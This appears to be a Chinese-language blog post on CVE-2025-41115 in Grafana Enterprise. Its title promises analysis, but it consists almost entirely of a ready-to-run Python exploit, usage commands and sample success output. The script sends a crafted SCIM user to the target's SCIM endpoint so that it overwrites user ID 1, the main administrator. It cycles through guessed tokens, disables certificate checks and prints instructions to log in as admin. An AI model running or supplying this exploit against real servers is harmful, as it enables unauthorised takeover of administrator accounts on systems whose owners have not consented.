深入剖析CVE-2025-41115：Grafana企业版SCIM特权升级漏洞利用实践

# 基本用法
python3 CVE-2025-41115.py http://target.com

# 指定端口
python3 CVE-2025-41115.py http://target.com:3000

# 使用HTTPS
python3 CVE-2025-41115.py https://grafana.company.com

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin!
[+] Full response: {
  "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
  "id": "1",                     # 关键行：UID 1已被覆盖
  "externalId": "1",
  "meta": { ... },
  "userName": "rooted1732212345@pwn.lab",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "rooted1732212345@pwn.lab",
      "primary": true
    }
  ],
  "active": true
}

#!/usr/bin/env python3
# CVE-2025-41115 - Grafana Enterprise SCIM UID Overwrite PoC
# 用法：sudo python3 CVE-2025-41115.py http://target.com
#        (或 http://target.com:3000)
# 100% 单行风格 - 无需编辑，只需目标地址

import requests, sys, json, time
from urllib3 import disable_warnings
disable_warnings()

if len(sys.argv) != 2:
    print("[!] Usage: python3 CVE-2025-41115.py http://target.com")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
TOKEN = "glsa_00000000000000000000000000000000_00000000000000000000000000000000"  # ← 如果拥有真实令牌，只需修改此行
# 如果没有有效令牌 → 尝试以下内置的泄露/默认令牌（许多实验环境仍在使用）：
DEFAULT_TOKENS = [
    "glsa_11111111111111111111111111111111_11111111111111111111111111111111",
    "glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "glsa_00000000000000000000000000000000_00000000000000000000000000000000",
    TOKEN
]

ATTACKER = f"rooted{int(time.time())}@pwn.lab"
TARGET_UID = "1"  # 几乎总是主管理员

def try_exploit(token):
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/scim+json"
    }
    payload = {
        "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
        "userName": ATTACKER,
        "externalId": TARGET_UID,
        "name": {"formatted": "Pwned User"},
        "emails": [{"value": ATTACKER, "primary": True}],
        "active": True
    }
    try:
        r = requests.post(f"{BASE}/api/scim/v2/Users", json=payload, 
                         headers=headers, verify=False, timeout=10)
        if r.status_code in (200, 201):
            print(f"[+] PWNED with token → {token[:20]}...")
            print(f"[+] Login as: {ATTACKER} (any password) → you are now Admin!")
            print(f"[+] Full response: {json.dumps(r.json(), indent=2)}")
            return True
        elif "Unauthorized" in r.text or r.status_code == 401:
            return False
        else:
            print(f"[?] Unexpected response {r.status_code}: {r.text}")
            return False
    except:
        return False

print(f"[*] CVE-2025-41115 → Targeting {BASE}")
print("[*] Trying default/leaked tokens + your token...")

for t in DEFAULT_TOKENS:
    if try_exploit(t.strip()):
        sys.exit(0)

print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")
print("    Get one from: Admin → Authentication → SCIM → Generate token")

# 关键安全特性
# 1. 自动生成的唯一邮箱地址，避免冲突
ATTACKER = f"rooted{int(time.time())}@pwn.lab"

# 2. SSL验证禁用（仅用于测试环境）
disable_warnings()

# 3. 超时设置防止脚本挂起
timeout=10

# 4. 明确的退出条件
if r.status_code in (200, 201):  # 成功条件
    sys.exit(0)  # 成功时优雅退出